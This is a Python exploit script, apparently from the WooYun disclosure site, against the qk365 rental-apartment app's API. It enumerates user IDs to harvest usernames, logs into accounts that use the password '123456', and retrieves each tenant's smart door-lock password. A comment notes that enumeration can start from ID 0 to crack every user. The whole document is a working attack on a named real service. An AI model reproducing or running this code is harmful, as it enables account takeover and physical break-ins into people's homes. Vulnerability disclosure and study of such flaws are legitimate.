WooYun.org

import requests
import hashlib
import json
import re
import time
s = requests.Session()
def get_lockpassword(username,password,token,roomId,cutId,cucId):
	global s
	data = {"username":username,"token":token,"password":password,"roomId":roomId,"cutId":cutId,"cucId":cucId}
	headers = {'User-Agent':'qk365/1.7.2 (iPhone; iOS 9.1; Scale/2.00)','Content-Type': 'application/json'}
	r = s.post('http://api.qk365.com/mobile/t/door/code/checkHash.json',headers=headers,data=json.dumps(data))
	ret = r.json()
	return ret['lockpwd']
	pass
def get_romeinfo():
	global s
	cutId = token = roomId = cucId = ''
	headers = {'User-Agent':'qk365/1.7.2 (iPhone; iOS 9.1; Scale/2.00)','Content-Type': 'application/json'}
	ret = s.get('http://api.qk365.com/mobile/t/door/code/index.html',headers=headers)
	findroom = ret.content.find('changeRoom')
	if findroom > 0:
		findroom = True
	else:
		findroom = False
	subject = ret.content
	if findroom > 0 :
		print 'has room'
		result = re.findall('changeRoom\(this\);">(.*?)</li>', subject, re.IGNORECASE | re.MULTILINE)
		address = result[0]
		print address
		result = re.findall('value="(.*?)" id="cutId"', subject, re.IGNORECASE | re.MULTILINE)
		cutId = result[0]
		result = re.findall('value="(.*?)" id="token"', subject, re.IGNORECASE | re.MULTILINE)
		token = result[0]
		result = re.findall('roomId="(.*?)"', subject, re.IGNORECASE | re.MULTILINE)
		roomId = result[0]
		result = re.findall('cucId="(.*?)"', subject, re.IGNORECASE | re.MULTILINE)
		cucId = result[0]
	else:
		print 'no room'
	return findroom,token,roomId,cutId,cucId
	pass
def login(username,password):
	global s
	sign = hashlib.md5(username + password + '1').hexdigest() 
	data = {"token":"1","username":username,"sign":sign,"deviceId":"x"}
	headers = {'User-Agent':'qk365/1.7.2 (iPhone; iOS 9.1; Scale/2.00)','Content-Type': 'application/json'}
	r = s.post('http://api.qk365.com/mobile/app/login/login.json',data=json.dumps(data),headers=headers)
	ret = r.json()
	if ret['result'] == 2 :
		return False
	if ret['result'] == 0 :
		return True
	pass
def get_userinfo(id):
	global s
	id = int(id)
	data = {"userId":id,"deviceId":""}
	headers = {'User-Agent':'qk365/1.7.2 (iPhone; iOS 9.1; Scale/2.00)','Content-Type': 'application/json'}
	r = s.post('http://api.qk365.com/mobile/t/app/membership/user.json',data=json.dumps(data),headers=headers)
	ret = r.json()
	return ret['username']
	pass
def main():
	for id in xrange(53255,53623): //这里为用户的id，可以从0开始破解
		print id
		username = get_userinfo(id)
		ret = login(username,'123456')
		if ret:
			print username,'123456'
			findroom,token,roomId,cutId,cucId = get_romeinfo()
			if findroom :
				print 'lockpwd = ' + get_lockpassword(username,'123456',token,roomId,cutId,cucId)
				pass
			pass
		pass
	pass
if __name__ == '__main__':
	main()